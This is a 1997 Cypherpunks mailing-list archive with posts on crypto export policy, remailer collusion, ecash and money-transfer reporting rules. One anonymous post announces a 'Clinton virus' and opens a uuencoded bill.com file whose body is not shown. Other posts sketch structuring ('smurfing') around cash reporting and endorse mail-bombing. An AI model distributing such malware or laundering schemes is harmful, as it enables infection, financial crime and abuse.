>order signed by one Treasury official -- eek.  Can they lower the
>$10k cash threshold just as easily?
>
[snip]
>*  Although the order was not announced, word spread quickly
>*  among traffickers, and a dramatic drop in money wires to
>*  Colombia followed, along with a sharp increase in seizures
>*  of cash along the eastern seaboard.
>

Correct me if I'm wrong, but under current law ecash tokens are neither
legal tender, foreign currency or money transmission instruments.  So, a
merchant exchanging them for legal tender needn't follow these tightened
regulations (i.e., only the $10K limit would still apply).  Of course,
Congress will be busy drafting new regulations if larger transaction use of
ecash starts to take off.

Seems to me that if accountless ecash were sold via a multi-level marketing
approach, where hordes of ordinary citizens would offer to purchase/redeem
the tokens (at a discount for their trouble), it might substitute for these
moneychaning merchants and make an interesting market.  Smaller operators
could deposit the funds in their demand deposit accounts or sell to
Aggregators who would offer to take any CTR related heat. Aggregators could
maintain that they are merely treating the tokens they purchase as a
commodity, they have no legal tender basis.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!







From kent at songbird.com  Thu May 15 18:13:39 1997
From: kent at songbird.com (Kent Crispin)
Date: Fri, 16 May 1997 09:13:39 +0800
Subject: NSA _likes_ strong crypto?
In-Reply-To: 
Message-ID: <19970515175354.52395@bywater.songbird.com>


On Thu, May 15, 1997 at 12:42:15PM -0800, Tim May wrote:
[...]
> 
> And using longer keys is "easy" to do. Breaking longer keys is "hard."
> Strong crypto wins out very quickly.
> 
> This is why there is no "middle ground" on crypto...it's either strong or
> its weak, with nothing in between.

An oversimplification.  You, of course, know better.  A crypto system
has to be considered as a whole (rubber hoses, key management, etc). 
That's where the "in between" comes from, and will continue to come
from, regardless of the strength of the algorithms. 

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From kent at songbird.com  Thu May 15 18:23:46 1997
From: kent at songbird.com (Kent Crispin)
Date: Fri, 16 May 1997 09:23:46 +0800
Subject: Just Say "No" to Congress
In-Reply-To: <3.0.32.19970514223849.006ea694@netcom13.netcom.com>
Message-ID: <19970515174452.40411@bywater.songbird.com>


On Wed, May 14, 1997 at 10:39:00PM -0700, Lucky Green wrote:
> 
> >FYI, here are two bills that Feinstein introduced recently:
> 
> Sigh. She is my Senator. [Don't blame me. I voted against her. But she hits
> the feelings of the Bay Area head on. "Big brother will bring you
> multi-cultural happiness." She is such a hypocrite. Even carried a gun
> after Moscone and Milk were shot and she thought herself in danger. Once
> she felt safe again, she went on TV and said that if she could get the
> votes in the Senate for total confiscation she would push for it. What's
> good for the goose...]

While I am not fond of Feinstein for various reasons, there is no
contradiction whatsoever in someone carrying a gun, and also working
to outlaw them.  You deal with the realities of the world, and try to
make them better.  It would be a contradiction only if she succeeded
in outlawing them, and continued to carry one. 

She is no more hypocritical than "anarchists" who continue to milk 
the state and society in which they live.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From tcmay at got.net  Thu May 15 18:25:16 1997
From: tcmay at got.net (Tim May)
Date: Fri, 16 May 1997 09:25:16 +0800
Subject: Reporting threshold for NY money transfers lowered
In-Reply-To: <5lfvc8$2m0@joseph.cs.berkeley.edu>
Message-ID: 


At 1:31 PM -0800 5/15/97, David Wagner wrote:

>*  Mexico City, April 12 - United States officials said today that
>*  $5.6 million discovered this week in a truck about to cross into
>*  Mexico from El Paso was the largest cash seizure in memory along
>*  the southwest border.
>*  [snip]
>*
>*  ...probably the proceeds of street drug sales...
>*  [snip]
...
>*  Although the order was not announced, word spread quickly
>*  among traffickers, and a dramatic drop in money wires to
>*  Colombia followed, along with a sharp increase in seizures
>*  of cash along the eastern seaboard.

Yet more reasons to get "smart cards" of even less than perfect
cryptographic quality deployed.

If persons planning to buy drugs and other illegal substances could set up
offshore accounts (perhaps by taking a day trip to Anguilla, even declaring
the $10K cash they are taking with them, or using conventional checks in
Anguilla, etc.) and then use the resulting "cash cards" (details left vague
here...maybe Mondex, maybe Mark Twain anonymous bank cards...), the dealers
could then simply have their Anguilla accounts increased by the transaction.

(I use "Anguilla" as my stand in here, as Vince Cate says such things will
be perfectly legal in Anguilla, given that no Anguillan laws are being
violated (e.g., no drugs are being shipped in or out of Anguilla). Of
course, I strongly doubt the Ruling Families of Anguilla will allow this,
so another country may have to be picked.)

This whole exercise is why, of course, the fatuous rhetoric about SAFE and
Pro-CODE, etc., making financial cryptography readily exportable is just
that, fatuous. No way will such anonymous transfer mechanisms be
exportable. And probably not importable, either, given the import
restrictions being planned for the Grand Compromise Omnibus Safe Cyberspace
and Child Protection Act of 1997, co-sponsored by Goodlatte, Kerrey, Burns,
and Feinstein.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From das at razor.engr.sgi.com  Thu May 15 18:30:34 1997
From: das at razor.engr.sgi.com (Anil Das)
Date: Fri, 16 May 1997 09:30:34 +0800
Subject: 40 bit work factors (Re: NSA _likes_ strong crypto?)
In-Reply-To: <199705152153.OAA02386@rigel.cyberpass.net>
Message-ID: <9705151817.ZM10492@razor.engr.sgi.com>


On May 15,  6:05pm, Peter Trei wrote:
>
> 40 bit encryption is a bad joke = it would take about 2 min on this
> machine for 40 bit DES

	Yes, 40 bit encryption is a joke, but one shouldn't
extrapolate exponontially between 56 bit DES and 40 bit encryption.
The work factor will not be less by a factor of 1/65536, but
rather in the same ballpark.

	DES is generally faster to search than other ciphers
(5-10 times faster than RC5), so if the 40 bit encryption
is not with DES, 10 minutes would be a more accurate estimate.

	As for 40 bit DES, nobody uses DES as is with 16
bits of the key zeroed out. What is more likely is something
like CDMF. A brute force attack on CDMF has about four times
the work the factor of (56 bit DES / 65536). Again 10 minutes
appear more accurate.

	Which is not to say that we are not discussing a joke.

	And talking about Wiener machines, they are much
faster on DES than most other symmetric ciphers, especially
something like RC5, which had reducing the efficiency
of hardware crackers as a design goal. So, one should
be careful about extrapolating from DES key search rates.

--
Anil Das






From gbroiles at netbox.com  Thu May 15 18:33:35 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Fri, 16 May 1997 09:33:35 +0800
Subject: Just Say "No" to Congress
In-Reply-To: <3.0.32.19970513220804.006f09d4@netcom13.netcom.com>
Message-ID: <3.0.1.32.19970515182259.00879320@mail.io.com>


At 09:13 AM 5/14/97 -0800, Tim May wrote:
>Feinswine/Swinestein is the most despicable of all the politicians in
>Congress. (This is not just ideology speaking...her usual-ally Barbara
>Boxer is much less swinish, and even has some independent thoughts. I can't
>see I often agree with Boxer, but she's not the Big Sister automaton that
>Swinestein is.)

FYI, Boxer is now (as of 5/12/97) a cosponsor of Sen. Leahy's ECPA/1997
(Encrypted Communications  Privacy Act of 1997) - that's the bill with the
complex structure for "voluntary" key recovery and criminal penalties for
use of crypto  "in furtherance of" felony. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.






From vznuri at netcom.com  Thu May 15 18:42:35 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Fri, 16 May 1997 09:42:35 +0800
Subject: Just Say "No" to Congress
In-Reply-To: 
Message-ID: <199705160128.SAA03463@netcom17.netcom.com>



>
>We're basically under assault from all directions. The bozos in Congress
>and state governments are spinning out new laws and obscure regulations
>faster than we can react...and of course they're using our money to
>generate these laws and lobby for them. Further, a mostly-brainwashed
>Washington media population is surprising uncritical of these blizzard
>drifts of new laws.
>
...
>
>Removing the Washington area as a malignant tumor requiring drastic surgery
>remains an option.
>

another counterTCMeme for the crowd here-- where else do you give
away vast sums of your cash and refuse to exercise any authority
over how it is spent?

this is the situation we find ourselves in our country. we have
vast sums of money automatically withheld from our paychecks,
yet the public has consistently refused to hold the government
accountable for what it does with the money.

the question is not "how do we hold the government accountable for
our cash" but, "*when* will we"?

again, TCM's total withdrawal is obviously not a solution.

anyone who disbelieves in the authority of the US government
yet sends them their tax money is a hypocrite.

perhaps that US government is a waste of time and effort.
but anyone who sends their cash to it are supporting it.
by withdrawing and still sending your cash, you have put
yourself in the worst possible position, the one that
the US Govt parasites would prefer above all others.








From declan at well.com  Thu May 15 19:21:38 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 16 May 1997 10:21:38 +0800
Subject: MSNBC poll on crypto
Message-ID: 


Should the United States
       remove restrictions on
       the export of powerful
       encryption technology?

       * 283 responses

       Unequivocally yes (84.1%)

       Yes, but only if law enforcement
       is given the keys to break the
       encryption when necessary.
       (9.9%)

       No, maintain the status quo.
       (1.8%)

       No. In fact, the restrictions
       should be tightened. (4.2%)







From real at freenet.edmonton.ab.ca  Thu May 15 19:28:48 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Fri, 16 May 1997 10:28:48 +0800
Subject: [CRYPTO] Blowfish
In-Reply-To: <199705151850.OAA02276@dhp.com>
Message-ID: 




I think Vulis needs each of us to send ten copies of this back
to him.                                                          
   On Thu, 15 May 1997, lucifer Anonymous Remailer wrote:

> Here, Tim C. May descends into total inanity. He should have a cold 
> shower and/or a Turkish coffee.
> 
>           ___\
>                     X\     X>
>         _/_\____<_\_
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From kent at songbird.com  Thu May 15 19:54:53 1997
From: kent at songbird.com (Kent Crispin)
Date: Fri, 16 May 1997 10:54:53 +0800
Subject: Anonymous Remailers
In-Reply-To: <01BC603F.4B529240@pc1901.ibpinc.com>
Message-ID: <19970515192926.34411@bywater.songbird.com>


On Wed, May 14, 1997 at 11:30:36PM -0800, Tim May wrote:
> At 9:25 PM -0800 5/14/97, Kent Crispin wrote:
> 
[...]
> 
> Collusion between a carefully--or even randomly--selected chain of, say, 20
> of these various and mutually-hostile groups would seem to be "unlikely."
> 
> Kent, stop babbling and spend a few hours reading up on the basics of how
> remailers work, the issues of collusion, and the discussions we've had for
> several years on these issues.

Hmm.  I did read, and I thought I understood this.  I claim that if
the remailers collude, then there in no anonymity.  Correct? Even if I
insert my own remailer in the list it doesn't help, if the others are
all in cahoots.  This seems pretty obvious.  They all compare logs, 
and saved copies of the messages, and my message can be tracked from 
beginning to end.  Right?

I see a list of remailers posted on cypherpunks periodically -- a
"cypherpunks" approved list, therefore.  Lucky Green admits publically
that he personally knows several of the remailer operators.  And 
clearly, remailer operators must share a common ideological focus...

There might even be a few honest remailer operators out there, but
undoubtedly they have been heavily diluted by those that are part of
the cypherpunks conspiracy.  So the odds of picking a colluding
remailer chain are pretty high.  When I send my mail the first one in
the chain will notice mail from songbird, and alert his buddies.  If
an honest remailer is in the chain the mail will conveniently be lost,
of course.  Only chains composed of co-conspirators will allow my mail
to get through... 

You will probably say that this was an insane conspiracy theory, and
that I don't understand how the remailers operate, and how
ideologically different the operators all are.  You might think that I
am ignorant, or being facetious, or that I am really just out of touch
with reality. 

But, on the other hand, you should be very familiar with this mode of
thought -- it is so similar to your "analyses" of the "gubmint".  You
are quite fond of clever caricatures, of sly and subtle inuendo, of
imputing slimy motives and conspiracies, of looking at the worst
in people...all justified by righteous anger, of course.  Of course,
to you righteous anger justifies murdering babies...("Broken eggs, and
all that." -- TCM)

However, it's not my prefered mode of thought, and I can't sustain it
for long: It does seem fairly unlikely that a large percentage of
remailers collude, and in theory it is probably fairly safe to send
through them.  At this time I can't really think of anything I have to
say that requires anonymity -- my comment to Lucky was intended to be
a light-hearted reference to my humble stature among the cypherpunks. 

"Negativity is an easy habit, often confused with sophistication."  
-- Anne Beetem

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From mixmaster at remail.obscura.com  Thu May 15 20:27:48 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Fri, 16 May 1997 11:27:48 +0800
Subject: Clinton virus
Message-ID: <199705160150.SAA13427@sirius.infonex.com>


The Clinton virus! 
Makes bogus DOC files randomly as it spreads....


section 1 of 1 of file bill.com  < uuencode 96 (v56) by R.E.M. >

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Message-ID: 


At 5:22 PM -0800 5/15/97, Greg Broiles wrote:
>At 09:13 AM 5/14/97 -0800, Tim May wrote:
>>Feinswine/Swinestein is the most despicable of all the politicians in
>>Congress. (This is not just ideology speaking...her usual-ally Barbara
>>Boxer is much less swinish, and even has some independent thoughts. I can't
>>see I often agree with Boxer, but she's not the Big Sister automaton that
>>Swinestein is.)
>
>FYI, Boxer is now (as of 5/12/97) a cosponsor of Sen. Leahy's ECPA/1997
>(Encrypted Communications  Privacy Act of 1997) - that's the bill with the
>complex structure for "voluntary" key recovery and criminal penalties for
>use of crypto  "in furtherance of" felony.
>

As I said, I am no ideological ally of Boxer. Her style is less swinish, to
my way of thinking, than Feinstein's is.

(In much the same way I find Stewart Baker, formerly of the NSA, less
irritating than Dorothy Denning, though of course Baker is proably more
dangerous than Denning.)

Both Boxer and Feinstein are ideological peas in a pod, of course.
Stylistically, and perhaps as human beings, they are far apart.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Thu May 15 20:57:51 1997
From: tcmay at got.net (Tim May)
Date: Fri, 16 May 1997 11:57:51 +0800
Subject: MSNBC poll on crypto
In-Reply-To: 
Message-ID: 


At 5:55 PM -0800 5/15/97, Declan McCullagh wrote:
>Should the United States
>       remove restrictions on
>       the export of powerful
>       encryption technology?
>
>       * 283 responses
>
>       Unequivocally yes (84.1%)

You left out the very next question:

Should the United States allow unbreakable, military-grade cryptography to
be used undetectably by child pornographers, terrorists, and money
launderers?

         * 283 responses

         Unequivocally "No" (93.4%)


You see, it all depends on how the question is asked. I have long argued
that Americans are split, simultaneously, between two opposing world views:

"What have you got to hide?"

and

"None of your damned business."

Depending on the issue, or how the issue is phrased, either view may surface.

I certainly don't trust opinion polls. If MSNBC conducts a similar poll
after an Oklahoma City type of event, which we all have reason to suspect
is about to happen in the next six or seven months, and crypto is found to
be involved (seems likely), we can expect an opinion poll which arrives at
the "What have they got to hide" conclusion.

So?

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From nobody at huge.cajones.com  Thu May 15 21:33:52 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 16 May 1997 12:33:52 +0800
Subject: Just Say "No" to Congress
Message-ID: <199705160411.VAA21253@fat.doobie.com>


Declan McCullagh wrote:
> Tim wrote:
> > We're basically under assault from all directions. The bozos in Congress
> > and state governments are spinning out new laws and obscure regulations
> > faster than we can react...and of course they're using our money to
> > generate these laws and lobby for them. Further, a mostly-brainwashed
> > Washington media population is surprising uncritical of these blizzard
> > drifts of new laws.

> Hmmm... Do I get counted in the "mostly-brainwashed" category?
> 
> FYI, here are two bills that Feinstein introduced recently:

  I think you just showed the answer to the question is "Yes."
  Politicians build a house of mirrors with bills that they
"introduce"--agencies that they "propose" be funded--causes
that they "support."

  I'm not interested in a reporter quoting "the record" to me.
I can get that from Feinstein's glossy handouts. I want to know
what a politician has *done* for me (or against me), not how 
much she purports to *love* me.

  I enjoy many of your articles, Declan, but please--no more
"Senator XYZ introduced a bill that supports mom's apple pie
and the flag." tripe.

TruthMonger







From nobody at huge.cajones.com  Thu May 15 22:02:48 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 16 May 1997 13:02:48 +0800
Subject: Kansas City.
Message-ID: <199705160432.VAA22270@fat.doobie.com>


  A new scheme to broadcast the names and faces of people arrested
for trying to buy and sell sex could mushroom into a full-fledged
challenge to U.S. constitutional law.
  Starting Thursday, a local government access cable television channel
will broadcast the names and faces of people arrested for
prostitution-related crimes. The first half-hour installment will feature
mugshots of alleged purveyors of sex and the customers who offered to pay
for it.
  Supporters of the plan hope that such public humiliation will help
efforts to crack down on prostitution. But opponents say it violates the
principle of ``innocent until proven guilty,'' a key tenet of U.S.
criminal law.
  ``The city is setting out to punish with ridicule people who have not
been convicted of anything,'' said Dick Kurtenbach, executive director of
the American Civil Liberties Union (ACLU) of Kansas and western Missouri.
``The presumption of innocence is really turned on its head with this
scheme.''
  Both supporters and opponents say that although U.S. media groups
regularly publish the names of people arrested and charged with crimes,
this may be the first time a government entity broadcasts the identities
of alleged wrongdoers.
  ``As far as we can tell, this is the first jurisdiction that's putting
on TV names of people arrested. This is a fairly novel approach,''
Kurtenbach said.
  The plan was the brainchild of City Councilwoman Teresa Loar, who said
she hopes it will deter prostitution and the social ills -- drug use,
assault and robbery -- that commonly accompany it.
  ``I'm not here to persecute people. I just want them to know that they
run the risk of having their picture on the access channel if they try to
hire a prostitute,'' Loar said.
  Loar said she is aware of ACLU's criticisms, but she counters by saying
that arrests are a matter of public record. She noted that a disclaimer
will say that those people pictured are innocent until found guilty in a
court of law. 
  When asked why the city does not air the names of people actually
convicted of prostitution, Loar explained that few arrests in prostitution
sting operations actually lead to convictions. 
  ``Showing convictions wouldn't work -- because we don't get any. They
(the accused prostitutes and would-be customers) plead their way down and
pay a fine,'' Loar said. 
  Loar said she understands the idea of constitutional rights but feels
her constituents' rights are more pressing.
  ``As far as victims' rights go, my concern is my constituents' rights to
quality of life. Their rights are being violated every day with this
crime,'' Loar said.
  Constitutional law experts acknowledged that those people whose names
and faces wind up on television could sue the city but would probably lose
any claims alleging defamation or invasion of privacy. 
  But Doug Linder, law professor at University of Missouri-Kansas City,
said it may be possible to claim that the broadcast constitutes a form of
punishment, which legally has to be meted out through due process of law.
Plaintiffs could sue on the grounds that they were not given due process
to defend themselves, Linder said.
  ``One could argue that it is a form of punishment if the police
department or the city is providing their pictures,'' Linder said. ``These
people should have the opportunity to prove their innocence. I think there
might be a real constitutional claim there.''







From shamrock at netcom.com  Thu May 15 22:26:24 1997
From: shamrock at netcom.com (Lucky Green)
Date: Fri, 16 May 1997 13:26:24 +0800
Subject: Reporting threshold for NY money transfers lowered
Message-ID: <3.0.32.19970515220728.0074f42c@netcom13.netcom.com>


At 05:30 PM 5/15/97 -0700, Steve Schear wrote:
>Smaller operators
>could deposit the funds in their demand deposit accounts or sell to
>Aggregators who would offer to take any CTR related heat.

I believe the term is "smurfing".



-- Lucky Green  PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi






From declan at vorlon.mit.edu  Thu May 15 22:46:00 1997
From: declan at vorlon.mit.edu (Declan McCullagh)
Date: Fri, 16 May 1997 13:46:00 +0800
Subject: SAFE vote and cutting crypto-deals, report from House Judiciary
Message-ID: 




---------- Forwarded message ----------
Date: Thu, 15 May 1997 19:51:28 -0700
From: Lee Tien 
To: fight-censorship at vorlon.mit.edu
Subject: Re: SAFE vote and cutting crypto-deals, report from House Judiciary

Thanks to Barry Steinhardt for his comments, especially his saying that:

>The language was an improvement , but it doesn't belong in the bill and we
>are still lobbying to have the criminalization provision removed.
>
>All of us in the cyber liberties community need to watch this legislation
>very carefully. It could easily get much worse as a "compromise" is reached
>with the Administration. In the end,the bill could be laden with amendments
>on issues like key recovery that defeat our purpose of making strong and
>secure encryption generally available.
>
>At some point, we may need to say that no bill is better than a bad bill.

This is a crucial point.  This isn't an exercise in back-patting, in doling
out kudos.  This struggle engages a stubborn and devious foe.

I also thought Michael Sims was on target in pointing out that Safdar's
criticism of Declan were basically arguments from authority.  Speaking only
for myself, it's not enough to look at who's for and who's against.

The Administration likes to say, trust us, we know what's best.  We should
say the emperor has no clothes if it's true.

Some supporters of these bills seem to respond to substantive criticisms
with comments about loyalty or solidarity.  What's wrong with robust, open
debate about substance?

I don't assume that those on the "inside" have better knowledge or
understanding of the law.  If they're going to defend the bills on the
merits, they should explain the merits.

I don't assume that everyone agrees on what the bills should say.  Some
might think that some "willful use of encryption" provision is consistent
with civil liberties.  (Personally, I don't and I'm glad to see Barry feels
the same way.) But my point is, let's be clear whether we're disagreeing
about values or political tactics.  Is a compromise acceptable because, all
things considered, it's the best we can do, or because we actually agree on
the merits?

Finally, I do believe that the insiders better understand the political
need for compromise.  But I'd like to be educated about it.  In particular,
I'd like to understand why the President wouldn't veto any bill he doesn't
completely agree with.  Unless there's something veto-proof out there, or
some other bargaining chip, why wouldn't he veto it?

Lee








From nobody at huge.cajones.com  Thu May 15 22:59:16 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 16 May 1997 13:59:16 +0800
Subject: Spam IS Free Speech
Message-ID: <199705160538.WAA25833@fat.doobie.com>


Ross Wright wrote:
>  >   Gander. Goose.
> 
> Right.  If I send you a gig, you send me a gig.  If I send you a meg
> you send me a meg.  A few bytes for a few bytes.  Are you following
> what has upset me about this issue, yet?  Like for Like, Goose,
> Gander.  You said it, but you don't mean it.

  Pardon me.
  Gander. Humongous fucking goose.
 
> Right?  You are saying if I send you one message, you have the right
> to mail bomb me?  There's no parity there.

  All's fair in love and Penis War.
  Your argument seems to center around the theme that those who dick
everyone a little have no right to expect to be repaid in lump (pardon
the pun) sum.

  You neglect to point out that those who use technology to send spam
to millions of random addresses go to great pains to prevent those who
receive their crapola from replying to the source of the spam.
  The fact is, anyone who chooses to return their crap in kind has my
personal proxy to send them my share, as well. I am certain that if you
take a poll on this you will find a few million others who will also
give them this proxy.

Penis Warrior







From tm at dev.null  Thu May 15 23:02:08 1997
From: tm at dev.null (TruthMonger)
Date: Fri, 16 May 1997 14:02:08 +0800
Subject: Anonymous Remailers
Message-ID: <199705160536.XAA21177@wombat.sk.sympatico.ca>


Tim May wrote:

> Further, a clever little fix is to make one's own remailer site a link in
> the chain. All a snooping subset of remailers can do is trace the message
> back to your own remailers. Obviously, they can't know if the message was
> merely _remailed_ through your site, or _originated_ there. Thus, including
> oneself as a remailer also provides excellent plausible deniability.)

  This is a lame idea with no merit whatsoever.

TruthMonger






From nobody at huge.cajones.com  Thu May 15 23:06:49 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 16 May 1997 14:06:49 +0800
Subject: Response to "SAFE bill and cutting crypto-deals"
Message-ID: <199705160538.WAA25828@fat.doobie.com>


Declan McCullagh wrote:
> 
> Date: Thu, 15 May 1997 01:56:20 -0400
> From: Jason Gull 
> 
>   We already have federal laws
> which make the use of a telephone or the mails to commit a felony into an
> additional offense, so this provision -- quite similar to obstruction of
> evidence, from the look of it -- doesn't seem at odds with precedent.

  Precedent concerns citing the fact that the citizens are already 
getting fucked with a 2" Green Dildo, so therefore there is a 
precedent for them to get fucked with 2" Blue Dildos.

>  Granted,
> there's the danger of the "slippery slope" -- that allowing any
> restrictions on crypto will lead to a gradual encroachment of government
> into other uses of cryptography. 

  I've never seen a 2" Government Dildo that didn't grow in an
expoential manner every time a Congressperson farted.

> However, whether or not it is a good
> idea or not, politics and previosu law seem to firmly support such a
> provision.

  I'll rush right out and inform Che Guava and the Posse Comatose.

  When Dr. Roberts is done helping Kent get the stick out of his
butt, perhaps he can do something about your cataracts.

Del Do







From stokely at beacondesign.com  Thu May 15 23:20:50 1997
From: stokely at beacondesign.com (Stokely Boast)
Date: Fri, 16 May 1997 14:20:50 +0800
Subject: Telnet Anonymous
In-Reply-To: <3.0.1.32.19970512230937.00a871f0@mail.infonex.com>
Message-ID: 


On Mon, 12 May 1997, Adam Philipp wrote:

> At 08:34 AM 5/12/97 -0500, harka at nycmetro.com wrote:
> >-----BEGIN PGP SIGNED MESSAGE-----
> >
> >E-Mail...NYM-Servers
> >WWW...Anonymizer
> >Telnet...??
> >
> >How does one telnet anonymously to another system, assuming that
> >one's home system has identd?
> >
> >Thanks already in advance...
> 
> Did you look at getting an anonymous account at cyberpass.net? 
> 
> Try http://www.cyberpass.net
> 
> Note, they tend to be strict about not using it for illegal activity, but
> highly supportive for general anonymous use.
> 
> Then again you could set up some type of applet scheme, but I doubt anyone
> would be willing to keep it active. 
> 

As you say, Cyberpass clearly states that they are strict about not
allowing illegal activities.  They also state that they keep logs of
incoming telnet host information and will turn it over if an account is
used for anything illegal. 

I am not sure what kind of applet scheme you have in mind.

It seems to me that anonymous remailers and anonymous telnet services are
very similar.  The major difference is that latency (natural and
otherwise) can be used in remailers in order to help foil traffic
analysis, but would render an anonymous telnet service useless. 

With sufficient bandwidth an anonymous telnet service could chop up
packets and send them through other services in order to further obscure
the matter.  Something like what Mix does?

Has this been discussed on the list before, and if so, is anyone working
on something like this?

Perhaps the best that could be done at this point would be more along the
lines of obscurity than of anonymity.  

-------------------------------------------------------------------------
Stokely Boast                                    stokely at beacondesign.com
Client/Server and RDBMS Consulting                Beacon Design Group Inc
PGP Id/Print: 5FD48D11 / B2 49 6C 7D 18 AC CA FB  0E 17 E5 97 6C 11 6C E7
-------------------------------------------------------------------------








From tm at dev.null  Thu May 15 23:35:27 1997
From: tm at dev.null (TruthMonger)
Date: Fri, 16 May 1997 14:35:27 +0800
Subject: Just Say "No" to Congress
Message-ID: <199705160607.AAA23128@wombat.sk.sympatico.ca>


Vladimir Z. Nuri wrote:
> anyone who disbelieves in the authority of the US government
> yet sends them their tax money is a hypocrite.

  Horseshit. That's no different from saying that anyone who
disbelieves in the authority of armed robbers yet gives them
their wallet is a hypocrite.
  Do you actually put any thought into your posts?

TruthMonger






From lucifer at dhp.com  Fri May 16 00:06:38 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Fri, 16 May 1997 15:06:38 +0800
Subject: Anonymous Remailers
Message-ID: <199705160648.CAA28895@dhp.com>


Kent Crispin wrote:

> Lucky, since I am considered contemptible by several c'punks, I worry
> about them more than I would about foreign intelligence agents.

  Not contemptible, just an easy target to be used for sighting
one's scope in preparation for attending to more sophisticated
targets.
  I find many of your canned-brain arguments hilarious but they
do seem useful for fodder for aspiring anarchists to use as a
foil for their development.

Anonymous Coward (Noel's older brother.)







From frantz at netcom.com  Fri May 16 01:06:44 1997
From: frantz at netcom.com (Bill Frantz)
Date: Fri, 16 May 1997 16:06:44 +0800
Subject: NSA _likes_ strong crypto?
In-Reply-To: 
Message-ID: 


At 12:07 PM -0700 5/15/97, Thomas Porter wrote:
>At 09:32 AM 5/15/97 -0700, Bill Frantz thoughtfully expounded thus:
>
>>
>>During a hall discussion at CFP, I heard that people at NSA are changing
>>their opinions about the use of strong crypto in the general community.
>>The reason is the threat of InfoWar and the need for strong crypto in
>>general use to secure the US information infrastructure.
>
>...
>How does this strength of encryption compare to whatever might be used to
>"secure the nation's info infrastructure" [Netscape 40 bit!!??] regarding
>cracking time?

I believe that the person who made this statement shares the standard
cyperpunk definition of "strong crypto".  I.e. Unbreakable before the heat
death of the universe.

IMHO, this view comes from the fact that most foreign government and
international terrorist communication is already strongly encrypted, so
having strong systems in wider use does very little to reduce NSA's
intelligence gathering abilities.  (See "Secret Power, New Zealand's role
in the international spy network" by Nicky Hager for evidence supporting
this view.)  Since part of NSA's job is to defend the USA against foreign
enemies, this faction has decided that the benefits of widespread strong
crypto outweigh the costs, a very cypherpunk view.

To go even further out on a limb, there may be a NSA faction that worries
about the inevitable weakness that GAK inserts in any crypto system.  NSA
was badly burned by the weaknesses in Clipper.

Tim May wrote:
>Left as an exercise is whether subsequent policy actions by NSA and D.C. in
>general are consistent with this "Crypto Perestroika" (tm).

I am speaking of a faction within NSA.  They may represent the agencies
position and have been shot down by the White House, or they may have lost
within the agency.  We have no way of knowing which.  (Do we?)


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
